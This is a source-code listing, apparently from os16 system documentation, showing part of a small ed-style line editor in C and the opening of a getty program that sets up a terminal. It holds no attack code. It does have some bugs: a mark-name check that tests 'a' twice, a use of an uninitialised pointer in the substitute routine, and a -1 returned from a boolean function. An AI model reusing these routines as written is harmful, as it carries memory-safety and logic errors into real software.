4250248                             printf ("\"%s\"\n", filename);
4250249                           }
4250250                         else
4250251                           {
4250252                             printf ("No filename\n");
4250253                           }
4250254                         break;
4250255                       }
4250256                     //
4250257                     cp = strdup (cp);
4250258                     //
4250259                     if (cp == NULL)
4250260                       {
4250261                         fprintf (stderr, "No memory for filename\n");
4250262                         break;
4250263                       }
4250264                     //
4250265                     if (filename)
4250266                       {
4250267                         free(filename);
4250268                       }
4250269                     //
4250270                     filename = cp;
4250271                     break;
4250272                     //
4250273                 case 'i':
4250274                     addlines (num1);
4250275                     break;
4250276                     //
4250277                 case 'k':
4250278                     while (isblank(*cp))
```

```
4250279                      {
4250280                        cp++;
4250281                      }
4250282                    //
4250283                    if ((*cp < 'a') || (*cp > 'a') || cp[1])
4250284                      {
4250285                        fprintf (stderr, "Bad mark name\n");
4250286                        break;
4250287                      }
4250288                    //
4250289                    marks[*cp - 'a'] = num2;
4250290                    break;
4250291                    //
4250292                case 'l':
4250293                    printlines (num1, num2, true);
4250294                    break;
4250295                    //
4250296                case 'p':
4250297                    printlines (num1, num2, false);
4250298                    break;
4250299                    //
4250300                case 'q':
4250301                    while (isblank(*cp))
4250302                      {
4250303                        cp++;
4250304                      }
4250305                    //
4250306                    if (have1 || *cp)
4250307                      {
4250308                        fprintf (stderr, "Bad quit command\n");
4250309                        break;
4250310                      }
4250311                    //
4250312                    if (!dirty)
4250313                      {
4250314                        return;
4250315                      }
4250316                    //
4250317                    printf ("Really quit? ");
4250318                    fflush (stdout);
4250319                    //
4250320                    buf[0] = '\0';
4250321                    fgets (buf, sizeof(buf), stdin);
4250322                    cp = buf;
4250323                    //
4250324                    while (isblank (*cp))
4250325                      {
4250326                        cp++;
4250327                      }
4250328                    //
4250329                    if ((*cp == 'y') || (*cp == 'Y'))
4250330                      {
```

```
4250331                     return;
4250332                   }
4250333                 //
4250334                 break;
4250335                 //
4250336             case 'r':
4250337                 if (*cp && !isblank(*cp))
4250338                   {
4250339                     fprintf (stderr, "Bad read command\n");
4250340                     break;
4250341                   }
4250342                 //
4250343                 while (isblank(*cp))
4250344                   {
4250345                     cp++;
4250346                   }
4250347                 //
4250348                 if (*cp == '\0')
4250349                   {
4250350                     fprintf (stderr, "No filename\n");
4250351                     break;
4250352                   }
4250353                 //
4250354                 if (!have1)
4250355                   {
4250356                     num1 = lastnum;
4250357                   }
4250358                 //
4250359                 // Open the file and add to the buffer
4250360                 // at the next line.
4250361                 //
4250362                 if (readlines (cp, num1 + 1))
4250363                   {
4250364                     //
4250365                     // If the file open fails, just
4250366                     // break the command.
4250367                     //
4250368                     break;
4250369                   }
4250370                 //
4250371                 // Set the default file name, if no
4250372                 // previous name is available.
4250373                 //
4250374                 if (filename == NULL)
4250375                   {
4250376                     filename = strdup (cp);
4250377                   }
4250378                 //
4250379                 break;
4250380
4250381             case 's':
4250382                 subcommand (cp, num1, num2);
```

```
4250383                  break;
4250384                  //
4250385              case 'w':
4250386                  if (*cp && !isblank(*cp))
4250387                    {
4250388                      fprintf(stderr, "Bad write command\n");
4250389                      break;
4250390                    }
4250391                  //
4250392                  while (isblank(*cp))
4250393                    {
4250394                      cp++;
4250395                    }
4250396                  //
4250397                  if (!have1)
4250398                    {
4250399                      num1 = 1;
4250400                      num2 = lastnum;
4250401                    }
4250402                  //
4250403                  // If the file name is not specified, use the
4250404                  // default one.
4250405                  //
4250406                  if (*cp == '\0')
4250407                    {
4250408                      cp = filename;
4250409                    }
4250410                  //
4250411                  // If even the default file name is not specified,
4250412                  // tell it.
4250413                  //
4250414                  if (cp == NULL)
4250415                    {
4250416                      fprintf (stderr, "No file name specified\n");
4250417                      break;
4250418                    }
4250419                  //
4250420                  // Write the file.
4250421                  //
4250422                  writelines (cp, num1, num2);
4250423                  //
4250424                  break;
4250425                  //
4250426              case 'z':
4250427                  switch (*cp)
4250428                    {
4250429                      case '-':
4250430                          printlines (curnum-21, curnum, false);
4250431                          break;
4250432                      case '.':
4250433                          printlines (curnum-11, curnum+10, false);
4250434                          break;
```

```
4250435                     default:
4250436                         printlines (curnum, curnum+21, false);
4250437                         break;
4250438                   }
4250439                 break;
4250440                 //
4250441             case '.':
4250442                 if (have1)
4250443                   {
4250444                     fprintf (stderr, "No arguments allowed\n");
4250445                     break;
4250446                   }
4250447                 printlines (curnum, curnum, false);
4250448                 break;
4250449                 //
4250450             case '-':
4250451                 if (setcurnum (curnum - 1))
4250452                   {
4250453                     printlines (curnum, curnum, false);
4250454                   }
4250455                 break;
4250456                 //
4250457             case '=':
4250458                 printf ("%d\n", num1);
4250459                 break;
4250460                 //
4250461             case '\0':
4250462                 if (have1)
4250463                   {
4250464                     printlines (num2, num2, false);
4250465                     break;
4250466                   }
4250467                 //
4250468                 if (setcurnum (curnum + 1))
4250469                   {
4250470                     printlines (curnum, curnum, false);
4250471                   }
4250472                 break;
4250473                 //
4250474             default:
4250475                 fprintf (stderr, "Unimplemented command\n");
4250476                 break;
4250477           }
4250478       }
4250479 }
4250480 //----------------------------------------------------------------------
4250481 // Do the substitute command.
4250482 // The current line is set to the last substitution done.
4250483 //----------------------------------------------------------------------
4250484 void
4250485 subcommand (char *cp, num_t num1, num_t num2)
4250486 {
```

```
4250487     int     delim;
4250488     char   *oldstr;
4250489     char   *newstr;
4250490     len_t   oldlen;
4250491     len_t   newlen;
4250492     len_t   deltalen;
4250493     len_t   offset;
4250494     line_t *lp;
4250495     line_t *nlp;
4250496     bool    globalflag;
4250497     bool    printflag;
4250498     bool    didsub;
4250499     bool    needprint;
4250500
4250501     if ((num1 < 1) || (num2 > lastnum) || (num1 > num2))
4250502       {
4250503         fprintf (stderr, "Bad line range for substitute\n");
4250504         return;
4250505       }
4250506     //
4250507     globalflag = false;
4250508     printflag = false;
4250509     didsub = false;
4250510     needprint = false;
4250511     //
4250512     if (isblank (*cp) || (*cp == '\0'))
4250513       {
4250514         fprintf (stderr, "Bad delimiter for substitute\n");
4250515         return;
4250516       }
4250517     //
4250518     delim = *cp++;
4250519     oldstr = cp;
4250520     //
4250521     cp = strchr (cp, delim);
4250522     //
4250523     if (cp == NULL)
4250524       {
4250525         fprintf (stderr, "Missing 2nd delimiter for substitute\n");
4250526         return;
4250527       }
4250528     //
4250529     *cp++ = '\0';
4250530     //
4250531     newstr = cp;
4250532     cp = strchr (cp, delim);
4250533     //
4250534     if (cp)
4250535       {
4250536         *cp++ = '\0';
4250537       }
4250538     else
```

```
4250539         {
4250540           cp = "";
4250541         }
4250542       while (*cp)
4250543         {
4250544           switch (*cp++)
4250545             {
4250546               case 'g':
4250547                   globalflag = true;
4250548                   break;
4250549                   //
4250550               case 'p':
4250551                   printflag = true;
4250552                   break;
4250553                   //
4250554               default:
4250555                   fprintf (stderr, "Unknown option for substitute\n");
4250556                   return;
4250557             }
4250558         }
4250559       //
4250560       if (*oldstr == '\0')
4250561         {
4250562           if (searchstring[0] == '\0')
4250563             {
4250564               fprintf (stderr, "No previous search string\n");
4250565               return;
4250566             }
4250567           oldstr = searchstring;
4250568         }
4250569       //
4250570       if (oldstr != searchstring)
4250571         {
4250572           strcpy (searchstring, oldstr);
4250573         }
4250574       //
4250575       lp = findline (num1);
4250576       if (lp == NULL)
4250577         {
4250578           return;
4250579         }
4250580       //
4250581       oldlen = strlen(oldstr);
4250582       newlen = strlen(newstr);
4250583       deltalen = newlen - oldlen;
4250584       offset = 0;
4250585       //
4250586       while (num1 <= num2)
4250587         {
4250588           offset = findstring (lp, oldstr, oldlen, offset);
4250589           if (offset < 0)
4250590             {
```

```
4250591                 if (needprint)
4250592                   {
4250593                     printlines (num1, num1, false);
4250594                     needprint = false;
4250595                   }
4250596                 //
4250597                 offset = 0;
4250598                 lp = lp->next;
4250599                 num1++;
4250600                 continue;
4250601               }
4250602             //
4250603             needprint = printflag;
4250604             didsub = true;
4250605             dirty = true;
4250606 
4250607             //----------------------------------------------------------------
4250608             // If the replacement string is the same size or shorter
4250609             // than the old string, then the substitution is easy.
4250610             //----------------------------------------------------------------
4250611 
4250612             if (deltalen <= 0)
4250613               {
4250614                 memcpy (&lp->data[offset], newstr, newlen);
4250615                 //
4250616                 if (deltalen)
4250617                   {
4250618                     memcpy (&lp->data[offset + newlen],
4250619                             &lp->data[offset + oldlen],
4250620                             lp->len - offset - oldlen);
4250621                     //
4250622                     lp->len += deltalen;
4250623                   }
4250624                 //
4250625                 offset += newlen;
4250626                 //
4250627                 if (globalflag)
4250628                   {
4250629                     continue;
4250630                   }
4250631                 //
4250632                 if (needprint)
4250633                   {
4250634                     printlines(num1, num1, false);
4250635                     needprint = false;
4250636                   }
4250637                 //
4250638                 lp = nlp->next;
4250639                 num1++;
4250640                 continue;
4250641               }
4250642 
```

```
4250643            //------------------------------------------------------------
4250644            // The new string is larger, so allocate a new line
4250645            // structure and use that.  Link it in in place of
4250646            // the old line structure.
4250647            //------------------------------------------------------------
4250648
4250649            nlp = (line_t *) malloc (sizeof (line_t) + lp->len + deltalen);
4250650            //
4250651            if (nlp == NULL)
4250652              {
4250653                fprintf (stderr, "Cannot get memory for line\n");
4250654                return;
4250655              }
4250656            //
4250657            nlp->len = lp->len + deltalen;
4250658            //
4250659            memcpy (nlp->data, lp->data, offset);
4250660            //
4250661            memcpy (&nlp->data[offset], newstr, newlen);
4250662            //
4250663            memcpy (&nlp->data[offset + newlen],
4250664                    &lp->data[offset + oldlen],
4250665                    lp->len - offset - oldlen);
4250666            //
4250667            nlp->next = lp->next;
4250668            nlp->prev = lp->prev;
4250669            nlp->prev->next = nlp;
4250670            nlp->next->prev = nlp;
4250671            //
4250672            if (curline == lp)
4250673              {
4250674                curline = nlp;
4250675              }
4250676            //
4250677            free(lp);
4250678            lp = nlp;
4250679            //
4250680            offset += newlen;
4250681            //
4250682            if (globalflag)
4250683              {
4250684                continue;
4250685              }
4250686            //
4250687            if (needprint)
4250688              {
4250689                printlines (num1, num1, false);
4250690                needprint = false;
4250691              }
4250692            //
4250693            lp = lp->next;
4250694            num1++;
```

```
4250695         }
4250696       //
4250697       if (!didsub)
4250698         {
4250699           fprintf (stderr, "No substitutions found for \"%s\"\n", oldstr);
4250700         }
4250701   }
4250702   //----------------------------------------------------------------------
4250703   // Search a line for the specified string starting at the specified
4250704   // offset in the line.  Returns the offset of the found string, or -1.
4250705   //----------------------------------------------------------------------
4250706   len_t
4250707   findstring (line_t *lp, char *str, len_t len, len_t offset)
4250708   {
4250709       len_t    left;
4250710       char     *cp;
4250711       char     *ncp;
4250712       //
4250713       cp = &lp->data[offset];
4250714       left = lp->len - offset;
4250715       //
4250716       while (left >= len)
4250717         {
4250718           ncp = memchr(cp, *str, left);
4250719           if (ncp == NULL)
4250720             {
4250721               return (len_t) -1;
4250722             }
4250723           //
4250724           left -= (ncp - cp);
4250725           if (left < len)
4250726             {
4250727               return (len_t) -1;
4250728             }
4250729           //
4250730           cp = ncp;
4250731           if (memcmp(cp, str, len) == 0)
4250732             {
4250733               return (len_t) (cp - lp->data);
4250734             }
4250735           //
4250736           cp++;
4250737           left--;
4250738         }
4250739       //
4250740       return (len_t) -1;
4250741   }
4250742   //----------------------------------------------------------------------
4250743   // Add lines which are typed in by the user.
4250744   // The lines are inserted just before the specified line number.
4250745   // The lines are terminated by a line containing a single dot (ugly!),
4250746   // or by an end of file.
```

```
4250747 //----------------------------------------------------------------------
4250748 void
4250749 addlines (num_t num)
4250750 {
4250751     int     len;
4250752     char    buf[USERSIZE + 1];
4250753     //
4250754     while (fgets (buf, sizeof (buf), stdin))
4250755       {
4250756         if ((buf[0] == '.') && (buf[1] == '\n') && (buf[2] == '\0'))
4250757           {
4250758             return;
4250759           }
4250760         //
4250761         len = strlen (buf);
4250762         //
4250763         if (len == 0)
4250764           {
4250765             return;
4250766           }
4250767         //
4250768         if (buf[len - 1] != '\n')
4250769          {
4250770             fprintf (stderr, "Line too long\n");
4250771             //
4250772             do
4250773               {
4250774                 len = fgetc(stdin);
4250775               }
4250776             while ((len != EOF) && (len != '\n'));
4250777             //
4250778             return;
4250779           }
4250780         //
4250781         if (!insertline (num++, buf, len))
4250782           {
4250783             return;
4250784           }
4250785       }
4250786 }
4250787 //----------------------------------------------------------------------
4250788 // Parse a line number argument if it is present.  This is a sum
4250789 // or difference of numbers, '.', '$', 'x, or a search string.
4250790 // Returns true if successful (whether or not there was a number).
4250791 // Returns false if there was a parsing error, with a message output.
4250792 // Whether there was a number is returned indirectly, as is the number.
4250793 // The character pointer which stopped the scan is also returned.
4250794 //----------------------------------------------------------------------
4250795 static bool
4250796 getnum (char **retcp, bool *rethavenum, num_t *retnum)
4250797 {
4250798     char   *cp;
```

```
4250799     char   *str;
4250800     bool    havenum;
4250801     num_t   value;
4250802     num_t   num;
4250803     num_t   sign;
4250804     //
4250805     cp = *retcp;
4250806     havenum = false;
4250807     value = 0;
4250808     sign = 1;
4250809     //
4250810     while (true)
4250811       {
4250812         while (isblank(*cp))
4250813           {
4250814             cp++;
4250815           }
4250816         //
4250817         switch (*cp)
4250818           {
4250819             case '.':
4250820                 havenum = true;
4250821                 num = curnum;
4250822                 cp++;
4250823                 break;
4250824                 //
4250825             case '$':
4250826                 havenum = true;
4250827                 num = lastnum;
4250828                 cp++;
4250829                 break;
4250830                 //
4250831             case '\'':
4250832                 cp++;
4250833                 if ((*cp < 'a') || (*cp > 'z'))
4250834                   {
4250835                     fprintf (stderr, "Bad mark name\n");
4250836                     return false;
4250837                   }
4250838                 //
4250839                 havenum = true;
4250840                 num = marks[*cp++ - 'a'];
4250841                 break;
4250842                 //
4250843             case '/':
4250844                 str = ++cp;
4250845                 cp = strchr (str, '/');
4250846                 if (cp)
4250847                   {
4250848                     *cp++ = '\0';
4250849                   }
4250850                 else
```

```
4250851                     {
4250852                       cp = "";
4250853                     }
4250854                   num = searchlines (str, curnum, lastnum);
4250855                   if (num == 0)
4250856                     {
4250857                       return false;
4250858                     }
4250859                   //
4250860                   havenum = true;
4250861                   break;
4250862                   //
4250863               default:
4250864                   if (!isdigit (*cp))
4250865                    {
4250866                       *retcp = cp;
4250867                       *rethavenum = havenum;
4250868                       *retnum = value;
4250869                       return true;
4250870                     }
4250871                   //
4250872                   num = 0;
4250873                   while (isdigit(*cp))
4250874                     {
4250875                       num = num * 10 + *cp++ - '0';
4250876                     }
4250877                   havenum = true;
4250878                   break;
4250879             }
4250880           //
4250881           value += num * sign;
4250882           //
4250883           while (isblank (*cp))
4250884             {
4250885               cp++;
4250886             }
4250887           //
4250888           switch (*cp)
4250889             {
4250890               case '-':
4250891                   sign = -1;
4250892                   cp++;
4250893                   break;
4250894                   //
4250895               case '+':
4250896                   sign = 1;
4250897                   cp++;
4250898                   break;
4250899                   //
4250900               default:
4250901                   *retcp = cp;
4250902                   *rethavenum = havenum;
```

```
4250903                 *retnum = value;
4250904                 return true;
4250905             }
4250906       }
4250907 }
4250908 //----------------------------------------------------------------------
4250909 // Initialize everything for editing.
4250910 //----------------------------------------------------------------------
4250911 bool
4250912 initedit (void)
4250913 {
4250914     int i;
4250915     //
4250916     bufsize = INITBUFSIZE;
4250917     bufbase = malloc (bufsize);
4250918     //
4250919     if (bufbase == NULL)
4250920       {
4250921         fprintf (stderr, "No memory for buffer\n");
4250922         return false;
4250923       }
4250924     //
4250925     bufptr = bufbase;
4250926     bufused = 0;
4250927     //
4250928     lines.next = &lines;
4250929     lines.prev = &lines;
4250930     //
4250931     curline = NULL;
4250932     curnum = 0;
4250933     lastnum = 0;
4250934     dirty = false;
4250935     filename = NULL;
4250936     searchstring[0] = '\0';
4250937     //
4250938     for (i = 0; i < 26; i++)
4250939       {
4250940         marks[i] = 0;
4250941       }
4250942     //
4250943     return true;
4250944 }
4250945 //----------------------------------------------------------------------
4250946 // Finish editing.
4250947 //----------------------------------------------------------------------
4250948 void
4250949 termedit (void)
4250950 {
4250951     if (bufbase) free(bufbase);
4250952     bufbase = NULL;
4250953     //
4250954     bufptr = NULL;
```

```
4250955      bufsize = 0;
4250956      bufused = 0;
4250957      //
4250958      if (filename) free(filename);
4250959      filename = NULL;
4250960      //
4250961      searchstring[0] = '\0';
4250962      //
4250963      if (lastnum) deletelines (1, lastnum);
4250964      //
4250965      lastnum = 0;
4250966      curnum = 0;
4250967      curline = NULL;
4250968  }
4250969  //----------------------------------------------------------------------
4250970  // Read lines from a file at the specified line number.
4250971  // Returns true if the file was successfully read.
4250972  //----------------------------------------------------------------------
4250973  bool
4250974  readlines (char *file, num_t num)
4250975  {
4250976      int      fd;
4250977      int      cc;
4250978      len_t    len;
4250979      len_t    linecount;
4250980      len_t    charcount;
4250981      char    *cp;
4250982      //
4250983      if ((num < 1) || (num > lastnum + 1))
4250984        {
4250985          fprintf (stderr, "Bad line for read\n");
4250986          return false;
4250987        }
4250988      //
4250989      fd = open (file, O_RDONLY);
4250990      if (fd < 0)
4250991        {
4250992          perror (file);
4250993          return false;
4250994        }
4250995      //
4250996      bufptr = bufbase;
4250997      bufused = 0;
4250998      linecount = 0;
4250999      charcount = 0;
4251000      //
4251001      printf ("\"%s\", ", file);
4251002      fflush(stdout);
4251003      //
4251004      do
4251005        {
4251006          cp = memchr(bufptr, '\n', bufused);
```

```
4251007             if (cp)
4251008               {
4251009                 len = (cp - bufptr) + 1;
4251010                 //
4251011                 if (!insertline (num, bufptr, len))
4251012                   {
4251013                     close (fd);
4251014                     return false;
4251015                   }
4251016                 //
4251017                 bufptr += len;
4251018                 bufused -= len;
4251019                 charcount += len;
4251020                 linecount++;
4251021                 num++;
4251022                 continue;
4251023               }
4251024             //
4251025             if (bufptr != bufbase)
4251026               {
4251027                 memcpy (bufbase, bufptr, bufused);
4251028                 bufptr = bufbase + bufused;
4251029               }
4251030             //
4251031             if (bufused >= bufsize)
4251032               {
4251033                 len = (bufsize * 3) / 2;
4251034                 cp = realloc (bufbase, len);
4251035                 if (cp == NULL)
4251036                   {
4251037                     fprintf (stderr, "No memory for buffer\n");
4251038                     close (fd);
4251039                     return false;
4251040                   }
4251041                 //
4251042                 bufbase = cp;
4251043                 bufptr = bufbase + bufused;
4251044                 bufsize = len;
4251045               }
4251046             //
4251047             cc = read (fd, bufptr, bufsize - bufused);
4251048             bufused += cc;
4251049             bufptr = bufbase;
4251050           }
4251051         while (cc > 0);
4251052         //
4251053         if (cc < 0)
4251054           {
4251055             perror (file);
4251056             close (fd);
4251057             return false;
4251058           }
```

```
4251059      //
4251060      if (bufused)
4251061        {
4251062          if (!insertline (num, bufptr, bufused))
4251063            {
4251064              close (fd);
4251065              return -1;
4251066            }
4251067          linecount++;
4251068          charcount += bufused;
4251069        }
4251070      //
4251071      close (fd);
4251072      //
4251073      printf ("%d lines%s, %d chars\n",
4251074              linecount,
4251075              (bufused ? " (incomplete)" : ""),
4251076              charcount);
4251077      //
4251078      return true;
4251079  }
4251080  //----------------------------------------------------------------------
4251081  // Write the specified lines out to the specified file.
4251082  // Returns true if successful, or false on an error with a message
4251083  // output.
4251084  //----------------------------------------------------------------------
4251085  bool
4251086  writelines (char *file, num_t num1, num_t num2)
4251087  {
4251088      int     fd;
4251089      line_t *lp;
4251090      len_t   linecount;
4251091      len_t   charcount;
4251092      //
4251093      if ((num1 < 1) || (num2 > lastnum) || (num1 > num2))
4251094        {
4251095          fprintf (stderr, "Bad line range for write\n");
4251096          return false;
4251097        }
4251098      //
4251099      linecount = 0;
4251100      charcount = 0;
4251101      //
4251102      fd = creat (file, 0666);
4251103      if (fd < 0)
4251104        {
4251105          perror (file);
4251106          return false;
4251107        }
4251108      //
4251109      printf("\"%s\", ", file);
4251110      fflush (stdout);
```

```
4251111     //
4251112     lp = findline (num1);
4251113     if (lp == NULL)
4251114       {
4251115         close (fd);
4251116         return false;
4251117       }
4251118     //
4251119     while (num1++ <= num2)
4251120       {
4251121         if (write(fd, lp->data, lp->len) != lp->len)
4251122           {
4251123             perror(file);
4251124             close(fd);
4251125             return false;
4251126           }
4251127         //
4251128         charcount += lp->len;
4251129         linecount++;
4251130         lp = lp->next;
4251131       }
4251132     //
4251133     if (close(fd) < 0)
4251134       {
4251135         perror(file);
4251136         return false;
4251137       }
4251138     //
4251139     printf ("%d lines, %d chars\n", linecount, charcount);
4251140     //
4251141     return true;
4251142 }
4251143 //----------------------------------------------------------------------
4251144 // Print lines in a specified range.
4251145 // The last line printed becomes the current line.
4251146 // If expandflag is true, then the line is printed specially to
4251147 // show magic characters.
4251148 //----------------------------------------------------------------------
4251149 bool
4251150 printlines (num_t num1, num_t num2, bool expandflag)
4251151 {
4251152     line_t        *lp;
4251153     unsigned char *cp;
4251154     int            ch;
4251155     len_t          count;
4251156     //
4251157     if ((num1 < 1) || (num2 > lastnum) || (num1 > num2))
4251158       {
4251159         fprintf (stderr, "Bad line range for print\n");
4251160         return false;
4251161       }
4251162     //
```

```
4251163     lp = findline (num1);
4251164     if (lp == NULL)
4251165       {
4251166         return false;
4251167       }
4251168     //
4251169     while (num1 <= num2)
4251170       {
4251171         if (!expandflag)
4251172           {
4251173             write (STDOUT_FILENO, lp->data, lp->len);
4251174             setcurnum (num1++);
4251175             lp = lp->next;
4251176             continue;
4251177           }
4251178 
4251179         //------------------------------------------------------------
4251180         // Show control characters and characters with the
4251181         // high bit set specially.
4251182         //------------------------------------------------------------
4251183 
4251184         cp = (unsigned char *) lp->data;
4251185         count = lp->len;
4251186         //
4251187         if ((count > 0) && (cp[count - 1] == '\n'))
4251188           {
4251189             count--;
4251190           }
4251191         //
4251192         while (count-- > 0)
4251193           {
4251194             ch = *cp++;
4251195             if (ch & 0x80)
4251196               {
4251197                 fputs ("M-", stdout);
4251198                 ch &= 0x7f;
4251199               }
4251200             if (ch < ' ')
4251201               {
4251202                 fputc ('^', stdout);
4251203                 ch += '@';
4251204               }
4251205             if (ch == 0x7f)
4251206               {
4251207                 fputc ('^', stdout);
4251208                 ch = '?';
4251209               }
4251210             fputc (ch, stdout);
4251211           }
4251212         //
4251213         fputs ("$\n", stdout);
4251214         //
```

```
4251215         setcurnum (num1++);
4251216         lp = lp->next;
4251217       }
4251218     //
4251219     return true;
4251220 }
4251221 //----------------------------------------------------------------------
4251222 // Insert a new line with the specified text.
4251223 // The line is inserted so as to become the specified line,
4251224 // thus pushing any existing and further lines down one.
4251225 // The inserted line is also set to become the current line.
4251226 // Returns true if successful.
4251227 //----------------------------------------------------------------------
4251228 bool
4251229 insertline (num_t num, char *data, len_t len)
4251230 {
4251231     line_t    *newlp;
4251232     line_t    *lp;
4251233     //
4251234     if ((num < 1) || (num > lastnum + 1))
4251235       {
4251236         fprintf (stderr, "Inserting at bad line number\n");
4251237         return false;
4251238       }
4251239     //
4251240     newlp = (line_t *) malloc (sizeof (line_t) + len - 1);
4251241     if (newlp == NULL)
4251242       {
4251243         fprintf (stderr, "Failed to allocate memory for line\n");
4251244         return false;
4251245       }
4251246     //
4251247     memcpy (newlp->data, data, len);
4251248     newlp->len = len;
4251249     //
4251250     if (num > lastnum)
4251251       {
4251252         lp = &lines;
4251253       }
4251254     else
4251255       {
4251256         lp = findline (num);
4251257         if (lp == NULL)
4251258           {
4251259             free ((char *) newlp);
4251260             return false;
4251261           }
4251262       }
4251263     //
4251264     newlp->next = lp;
4251265     newlp->prev = lp->prev;
4251266     lp->prev->next = newlp;
```

```
4251267      lp->prev = newlp;
4251268      //
4251269      lastnum++;
4251270      dirty = true;
4251271      //
4251272      return setcurnum (num);
4251273  }
4251274  //----------------------------------------------------------------------
4251275  // Delete lines from the given range.
4251276  //----------------------------------------------------------------------
4251277  bool
4251278  deletelines (num_t num1, num_t num2)
4251279  {
4251280      line_t   *lp;
4251281      line_t   *nlp;
4251282      line_t   *plp;
4251283      num_t     count;
4251284      //
4251285      if ((num1 < 1) || (num2 > lastnum) || (num1 > num2))
4251286        {
4251287          fprintf (stderr, "Bad line numbers for delete\n");
4251288          return false;
4251289        }
4251290      //
4251291      lp = findline (num1);
4251292      if (lp == NULL)
4251293        {
4251294          return false;
4251295        }
4251296      //
4251297      if ((curnum >= num1) && (curnum <= num2))
4251298        {
4251299          if (num2 < lastnum)
4251300            {
4251301              setcurnum (num2 + 1);
4251302            }
4251303          else if (num1 > 1)
4251304            {
4251305              setcurnum (num1 - 1);
4251306            }
4251307          else
4251308            {
4251309              curnum = 0;
4251310            }
4251311        }
4251312      //
4251313      count = num2 - num1 + 1;
4251314      //
4251315      if (curnum > num2)
4251316        {
4251317          curnum -= count;
4251318        }
```

```
4251319     //
4251320     lastnum -= count;
4251321     //
4251322     while (count-- > 0)
4251323       {
4251324         nlp = lp->next;
4251325         plp = lp->prev;
4251326         plp->next = nlp;
4251327         nlp->prev = plp;
4251328         lp->next = NULL;
4251329         lp->prev = NULL;
4251330         lp->len = 0;
4251331         free(lp);
4251332         lp = nlp;
4251333       }
4251334     //
4251335     dirty = true;
4251336     //
4251337     return true;
4251338 }
4251339 //------------------------------------------------------------------------
4251340 // Search for a line which contains the specified string.
4251341 // If the string is NULL, then the previously searched for string
4251342 // is used.  The currently searched for string is saved for future use.
4251343 // Returns the line number which matches, or 0 if there was no match
4251344 // with an error printed.
4251345 //------------------------------------------------------------------------
4251346 num_t
4251347 searchlines (char *str, num_t num1, num_t num2)
4251348 {
4251349     line_t *lp;
4251350     int     len;
4251351     //
4251352     if ((num1 < 1) || (num2 > lastnum) || (num1 > num2))
4251353       {
4251354         fprintf (stderr, "Bad line numbers for search\n");
4251355         return 0;
4251356       }
4251357     //
4251358     if (*str == '\0')
4251359       {
4251360         if (searchstring[0] == '\0')
4251361           {
4251362             fprintf(stderr, "No previous search string\n");
4251363             return 0;
4251364           }
4251365         str = searchstring;
4251366       }
4251367     //
4251368     if (str != searchstring)
4251369       {
4251370         strcpy(searchstring, str);
```

```
4251371          }
4251372        //
4251373        len = strlen(str);
4251374        //
4251375        lp = findline (num1);
4251376        if (lp == NULL)
4251377          {
4251378            return 0;
4251379          }
4251380        //
4251381        while (num1 <= num2)
4251382          {
4251383            if (findstring(lp, str, len, 0) >= 0)
4251384              {
4251385                return num1;
4251386              }
4251387            //
4251388            num1++;
4251389            lp = lp->next;
4251390          }
4251391        //
4251392        fprintf (stderr, "Cannot find string \"%s\"\n", str);
4251393        //
4251394        return 0;
4251395    }
4251396    //----------------------------------------------------------------------
4251397    // Return a pointer to the specified line number.
4251398    //----------------------------------------------------------------------
4251399    line_t *
4251400    findline (num_t num)
4251401    {
4251402        line_t   *lp;
4251403        num_t     lnum;
4251404        //
4251405        if ((num < 1) || (num > lastnum))
4251406          {
4251407            fprintf (stderr, "Line number %d does not exist\n", num);
4251408            return NULL;
4251409          }
4251410        //
4251411        if (curnum <= 0)
4251412          {
4251413            curnum = 1;
4251414            curline = lines.next;
4251415          }
4251416        //
4251417        if (num == curnum)
4251418          {
4251419            return curline;
4251420          }
4251421        //
4251422        lp = curline;
```

```
4251423     lnum = curnum;
4251424     //
4251425     if (num < (curnum / 2))
4251426       {
4251427         lp = lines.next;
4251428         lnum = 1;
4251429       }
4251430     else if (num > ((curnum + lastnum) / 2))
4251431       {
4251432         lp = lines.prev;
4251433         lnum = lastnum;
4251434       }
4251435     //
4251436     while (lnum < num)
4251437       {
4251438         lp = lp->next;
4251439         lnum++;
4251440       }
4251441     //
4251442     while (lnum > num)
4251443       {
4251444         lp = lp->prev;
4251445         lnum--;
4251446       }
4251447     //
4251448     return lp;
4251449 }
4251450 //----------------------------------------------------------------------
4251451 // Set the current line number.
4251452 // Returns true if successful.
4251453 //----------------------------------------------------------------------
4251454 bool
4251455 setcurnum (num_t num)
4251456 {
4251457     line_t    *lp;
4251458     //
4251459     lp = findline (num);
4251460     if (lp == NULL)
4251461       {
4251462         return false;
4251463       }
4251464     //
4251465     curnum = num;
4251466     curline = lp;
4251467     //
4251468     return true;
4251469 }
4251470
4251471 /* END CODE */
```

107.1.12 applic/getty.c

Si veda la sezione 103.1.

```
4260001 #include <unistd.h>
4260002 #include <stdio.h>
4260003 #include <stdlib.h>
4260004 #include <signal.h>
4260005 #include <sys/wait.h>
4260006 #include <limits.h>
4260007 #include <sys/os16.h>
4260008 #include <fcntl.h>
4260009 #include <stdio.h>
4260010 //----------------------------------------------------------------------
4260011 int
4260012 main (int argc, char *argv[], char *envp[])
4260013 {
4260014     char   *device_name;
4260015     int     fdn;
4260016     char   *exec_argv[2];
4260017     char  **exec_envp;
4260018     char    buffer[BUFSIZ];
4260019     ssize_t size_read;
4260020     int     status;
4260021     //
4260022     // The first argument is mandatory and must be a console terminal.
4260023     //
4260024     device_name = argv[1];
4260025     //
4260026     // A console terminal is correctly selected (but it is not checked
4260027     // if it is a really available one).
4260028     // Set as a process group leader.
4260029     //
4260030     setpgrp ();
4260031     //
4260032     // Open the terminal, that should become the controlling terminal:
4260033     // close the standard input and open the new terminal (r/w).
4260034     //
4260035     close (0);
4260036     fdn = open (device_name, O_RDWR);
4260037     if (fdn < 0)
4260038       {
4260039         //
4260040         // Cannot open terminal. A message should appear, at least
4260041         // to the current console.
4260042         //
4260043         perror (NULL);
4260044         return (-1);
4260045       }
4260046     //
4260047     // Reset terminal device permissions and ownership.
4260048     //
4260049     status = fchown (fdn, (uid_t) 0, (gid_t) 0);
```

```
4260050         if (status != 0)
4260051           {
4260052             perror (NULL);
4260053           }
4260054         status = fchmod (fdn, 0644);
4260055         if (status != 0)
4260056           {
4260057             perror (NULL);
4260058           }
4260059         //
4260060         // The terminal is open and it should be already the controlling
4260061         // one: show '/etc/issue'. The same variable 'fdn' is used, because
4260062         // the controlling terminal will never be closed (the exit syscall
4260063         // will do it).
4260064         //
4260065         fdn = open ("/etc/issue", O_RDONLY);
4260066         if (fdn > 0)
4260067           {
4260068             //
4260069             // The file is present and is shown.
4260070             //
4260071             for (size_read = 1; size_read > 0;)
4260072               {
